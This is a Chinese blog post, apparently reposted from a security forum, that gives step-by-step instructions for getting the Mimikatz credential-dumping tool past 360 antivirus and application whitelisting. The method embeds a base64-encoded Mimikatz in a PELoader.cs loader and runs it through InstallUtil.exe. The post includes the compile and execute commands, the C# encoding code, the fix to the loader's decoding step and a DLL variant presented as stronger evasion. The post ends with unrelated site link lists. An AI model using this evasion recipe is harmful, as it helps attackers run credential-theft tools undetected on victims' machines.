利用白名单绕过360实例
来源:互联网 发布:寡妇王二娘 知乎 编辑:程序博客网 时间:2024/05/16 10:18
0x00 前言
最近subTee
在其博客中介绍了如何利用白名单绕过防护,但细节存在bug
,所以本文仅介绍如何修复其bug
并利用该方法绕过360
,更多利用方法值得探索
博客链接:
http://subt0x10.blogspot.hk/(需翻墙)
文章地址:
http://subt0x10.blogspot.hk/2015/08/application-whitelisting-bypasses-101.html(需翻墙)
0x01 测试目标
下载最新版本Mimikatz
,实现绕过杀毒软件的查杀。
0x02 测试环境
操作系统:Win7 x64
mimikatz版本:2.0 alpha 20150906 (oe.eo) edition
(目前为止最新)
下载链接:https://github.com/gentilkiwi/mimikatz/releases/tag/2.0.0-alpha-20150906
测试日期:9/14/2015
0x03 实际测试
建议先了解参考链接,链接中提到的相关基础知识不做再次介绍
1、下载最新mimikatz,测试查杀情况
毫无疑问,被查杀,如图
2、利用InstallUtil.exe执行程序
(1)下载https://gist.github.com/subTee/00cdac8990584bd2c2fe并保存为PELoader.cs
(2)参照博客中的示例,执行如下代码:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.csC:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe
如图,生成PELoader.exe
,然后通过InstallUtil.exe
执行PELoader.exe
成功加载运行mimikatz
进程显示为InstallUtil.exe
,如图
(3)测试生成的PELoader.exe
查杀情况
如图,360成功检测威胁
(4)尝试修改PELoader.cs
阅读代码发现Line853-856
存储了base64
加密后的mimikatz
那么参照作者给出的修改方法修改
作者给出的修改方法如下:
* Base64 Encode Mimikatz In PowerShell- $fileName = "mimikatz.exe" $fileContent = get-content $fileName $fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent) $fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes) $fileContentEncoded | set-content ($fileName + ".b64") * [OR] byte[] AsBytes = File.ReadAllBytes(@"C:\Tools\Mimikatz.exe"); String AsBase64String = Convert.ToBase64String(AsBytes); StreamWriter sw = new StreamWriter(@"C:\Tools\Mimikatz.b64"); sw.Write(AsBase64String); sw.Close(); *
(5)测试Base64 Encode Mimikatz In PowerShell
按照作者给出的方法对mimikatz
作base64
编码并保存在Mimikatz.b64文件中
如图
执行Powershell
代码
执行后生成Mimikatz.b64
,如图
打开将内容复制到PELoader.cs
中的变量KatzCompressed
的定义中,如图
按照步骤(2)执行测试,发现错误,如图
0x04 分析
作者给出的实例代码如果无法修改,未免太鸡肋,必须找到修改方法,实现执行任意程序
0x05 解决方案
在做了多次实验并研究代码后成功找到了错误原因:
Powershell
作base64
编码同c#
对base64
解码之间存在解析错误
解决步骤:
(1)使用c#对mimikatz作base64加密
代码如下:
using System;using System.IO;using System.Collections.Generic;using System.Linq;using System.Text;using System.Threading.Tasks;namespace test1{ class Program { static void Main(string[] args) { byte[] AsBytes = File.ReadAllBytes(@"C:\testcs\mimikatz.exe"); String AsBase64String = Convert.ToBase64String(AsBytes); StreamWriter sw = new StreamWriter(@"C:\testcs\mimikatz.b64"); sw.Write(AsBase64String); sw.Close(); } }}
我使用的环境是vs2012
,新建c#
工程,填写以上代码,编译后运行,生成新的mimikatz.b64
,如图
细心的同学可以发现和之前使用Powershell
生成的mimikatz.b64
有所区别
(2)替换变量KatzCompressed
的定义内容
如图
(3)修改解密过程
定位PELoader.cs
Line106,去掉
byte[] decompressed = Decompress(FromBase64);
在前面添加“//”即可,如图
(4)再次编译并利用InstallUtil.exe
执行
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.csC:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe
如图
证明修改成功,能够顺利执行我们修改的代码
(5)增强免杀
采用如下生成步骤:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /target:library /out:PELoader.dll PELoader.csC:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.dll
如图
也可以成功加载mimikatz
测试查杀情况
如图
注:测试全过程开启360,主动防御未触发
0x06 小结
通过InstallUtil.exe
执行程序的方法不仅可使程序逃过杀毒软件的查杀,更能够规避程序运行白名单的限制,其他操作系统下的情况有所不同,更多细节值得研究。
参照zone
中大家的建议,希望这篇文章是大家喜欢看到的类型:)
本文由三好学生原创并首发于乌云drops,转载请注明
- 利用白名单绕过360实例
- 利用URL特性绕过域名白名单检测
- 绕过CMCC-EDU白名单
- 利用Win32 API绕过360驱动防火墙
- 如何利用xss绕过360网盾做防360拦截空间!
- 禁用了PowerShell又如何?看我如何用PowerShell绕过应用白名单、环境限制、以及杀毒软件
- 白名单
- 利用%5c绕过验证
- 利用%5c绕过验证
- 利用“()”绕过空格继续注射
- BypassUAC------利用PowerShell绕过UAC
- 白帽子讲web安全笔记-利用location.hash绕过长度限制_使用DVWA实现
- 邮件 黑名单 白名单 灰名单
- 利用JavaScript绕过表单限制及验证
- 利用未启用SafeSEH模块绕过SafeSEH
- 利用JavaScript绕过表单限制及验证
- mysql利用颜表情绕过waf注入
- mysql利用双重url编码绕过防火墙
- tcp/ip
- log4j配置文件和日志级别分离
- xml
- Jersey: MessageBodyWriter not found for media type=application/json
- centos7 mysql5.6
- 利用白名单绕过360实例
- CoreData实践(四)——查询数据
- rdf
- js之History对象
- android把activity和资源文件打包成jar包给其他项目使用
- 【bzoj1191】【NHOI2006】【超级英雄】【二分图匹配】
- 用js控制frame框架自适应高度
- ebs中SLA解释
- Eclipse 常用快捷键